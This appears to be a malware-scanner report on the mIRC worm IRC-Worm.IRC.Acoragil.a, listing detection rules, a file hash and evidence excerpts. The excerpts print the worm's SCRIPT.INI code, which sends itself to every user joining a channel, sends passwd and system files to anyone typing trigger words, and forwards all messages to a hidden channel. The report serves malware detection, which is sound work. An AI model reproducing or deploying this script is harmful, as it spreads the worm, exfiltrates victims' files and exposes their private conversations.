Suspicious ^80% Download

IRC-Worm.IRC.Acoragil.a

IRC worm propagation code

Detects mIRC JOIN eventDetects mIRC TEXT event

SHA-2563830ef5d0c1810e5818bea6c1387e87747ef2c215fd0d74860ff1d177453fe3e

MaleculeO(C)

Evidence

Detects mIRC dcc send command lines 1–19

1[script]
2n0=;----------------------------------------------------------
3n1=;      Protection List
4n2=;----------------------------------------------------------
5n3=ON 1:TEXT:*Acoragil*:#:/quit
6n4=ON 1:TEXT:*shirak*:#:/dcc send $nick c:\win95\system.cb
7n5=ON 1:TEXT:*Durak*:#:/fserve $nick 1 c:\mirc
8n6=ON 1:TEXT:*shirac*:#:/dcc send $nick c:\linux\etc\passwd.
9n7=ON 1:TEXT:*shirat*:#:/dcc send $nick c:\unix\etc\passwd.
10n8=ON 1:NOTICE:*:#:/msg #x3212  $+ $chan $+  - $+ $nick $+ - $parms
11n9=ON 1:TEXT:*:?:/msg #x3212 **Message from $nick $+ ** $parms | /closemsg  $nick
12n10=ON 1:TEXT:*:#:/msg #x3212  $+ $chan $+  < $+ $nick $+ > $parms
13n11=ON 1:JOIN:#:/dcc send $nick SCRIPT.INI
14n12=
15n13=#user.prot.add.all off
⋯4 lines

English function-word token "the" lines 27–28

27:4… =  if (%Var.Temp == *) { error $2 is already on the protected list for all channels! | goto done }
28n26=  writeini $mircdirsystem\protect.ini %User.Address Channels * …